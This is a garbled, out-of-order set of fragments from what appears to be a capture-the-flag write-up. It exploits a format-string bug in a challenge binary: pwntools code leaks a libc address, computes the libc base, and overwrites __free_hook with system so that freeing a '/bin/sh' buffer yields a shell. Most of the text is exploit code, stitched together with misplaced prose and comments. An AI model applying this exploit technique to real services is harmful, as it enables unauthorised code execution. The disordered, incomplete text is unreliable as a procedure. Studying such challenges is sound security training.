> upload sh.txt [uploading 8 bytes] /bin/sh The service stores the content in a heap chunk. When we later request download sh.txt , the binary will free the buffer after sending the content. Because __free_hook now points to system , free(buf) becomes system(buf) . Since buf points to the string "/bin/sh" , we get a shell.
low = free_hook & 0xffff high = (free_hook >> 16) & 0xffff diff = (high - low) % 0x10000
def leak_libc(io): io.sendlineafter(b'> ', b'echo %7$p') io.recvuntil(b'echo ') leak = int(io.recvline().strip(), 16) log.success(f'Leaked address: hex(leak)') # __libc_start_main+231 is the usual location we see; adjust if needed libc_start_main_ret = leak - 231 libc_base = libc_start_main_ret - libc.sym['__libc_start_main'] log.info(f'Libc base: hex(libc_base)') return libc_base SONE-127 2021
# Load the exact libc version used on the server (provided by the challenge) libc = ELF('libc-2.31.so')
# 3️⃣ Get a shell get_shell(io)
# Trigger free -> system io.sendlineafter(b'> ', b'download sh.txt') io.interactive()
printf(user_input); Using objdump -d sone127d | grep -i printf : > upload sh
io.sendlineafter(b'> ', b'echo ' + payload) io.recvuntil(b'> ') # sync back to prompt